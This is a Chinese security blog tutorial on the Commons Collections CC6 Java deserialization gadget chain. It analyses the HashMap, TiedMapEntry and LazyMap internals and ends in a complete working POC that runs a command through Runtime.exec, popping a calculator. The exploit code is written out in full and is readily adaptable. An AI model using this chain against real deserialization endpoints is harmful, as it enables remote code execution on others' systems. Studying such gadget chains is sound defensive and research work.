CommonsCollections6

Chiexf Lv4

0x00 前言

  • 利用版本

CommonsCollections 3.1 - 3.2.1

  • JDK

暂无限制

0x01 利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/

可以看到,CC6链从LazyMap.get()的后半部分是跟CC1相同的,前面不再使用AnnotationInvocationHandler类的readObject()作为反序列化的入口类了,从而解决了在JDK 8u71版本之后无法使用CC1链的问题。

CC6的前半部分与URLDNS链相似,都是利用HashMap类在计算hash值时调用hashCode()的方法,从而进入到getValue(),在之后到达LazyMap.get()

0x02 代码分析

TiedMapEntry

已经知道利用链了,所以可以知道在TiedMapEntry类中的**getValue()方法调用了get()**方法

1
2
3
public Object getValue() {
return map.get(key);
}

往上找,发现map可以通过TiedMapEntry构造器赋值

1
2
3
4
5
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

而且可以看到**TiedMapEntry.hashCode()方法中调用了getValue()**方法

1
2
3
4
5
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

HashMap

现在就是去找哪里可以调用**TiedMapEntry.hashCode()**方法

根据利用链可以知道在HashMap.readObject()中可以调用到TiedMapEntry.hashCode()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();

//省略部分代码......

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

HashMapreadObject()中调用了hash(key)

而在hash(key)中调用了key.hashCode()

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

可以看到当key不为空时会调用key.hashCode()

所以我们只需让HashMapkey等于TiedMapEntry对象即可

TiedMapEntrymap属性存放的是恶意的LazyMap对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");


serialize(map2);
unserialize("ser.bin");

执行后会发现在序列化之前就会弹出计算器

原因是因为map.put中也会调用hash(key)

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

使用 map2.put(tiedMapEntry, “bbb”) 将构造好的 TiedMapEntry 对象放进 HashMap的时候就要触发一次 **hash(key)**进而触发一次这一条链弹出计算器

所以我们可以在构造LazyMap时先放入一个不会执行命令的对象

然后再等最后要⽣成Payload的时候,再把真正的transformers替换进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");

// 将真正的transformers数组设置进来
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

serialize(map2);
unserialize("ser.bin");

也可以写成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");

// 将真正的transformers数组设置进来
Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
Field chainedTransformerClassField = chainedTransformerClass.getDeclaredField("iTransformers");
chainedTransformerClassField.setAccessible(true);
chainedTransformerClassField.set(chainedTransformer,transformers);

serialize(map2);
unserialize("ser.bin");

lazyMap.Remove

当执行上面的代码时,会发现还是不能执行成功

问题出现在在LazyMap的**get()**⽅法上

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) { //key: "aaa"
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

因为map.containsKey(key)是true,所以并没有进入if循环,直接return

但是会发现在lazyMap类中也没有放入key值为aaa的对象

唯一出现aaa是在tiedMapEntry对象上

关键点还是在**map2.put(tiedMapEntry, “bbb”)**上

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

因为put中会执行hash(key)

所以LazyMap的利用链会在这里被调用一次

而前面使用了Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1))

所以才没有执行对应的命令

debug的时候发现只需要将key的值删掉就会进入if

所以我们只需将lazyMapkey删掉即可

1
lazyMap.remove("aaa");

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");

lazyMap.remove("aaa");

// 将真正的transformers数组设置进来
Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
Field chainedTransformerClassField = chainedTransformerClass.getDeclaredField("iTransformers");
chainedTransformerClassField.setAccessible(true);
chainedTransformerClassField.set(chainedTransformer,transformers);

serialize(map2);
unserialize("ser.bin");

0x03 ysoserial中的CC6

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

by @matthias_kaiser
*/

0x04 总结

0x05 参考资料

P牛知识星球-Java安全漫谈

B站-白日梦组长

https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=19d2e433219440bcf5304fbe8a00b7ff

Y4tacker

https://github.com/Y4tacker/JavaSec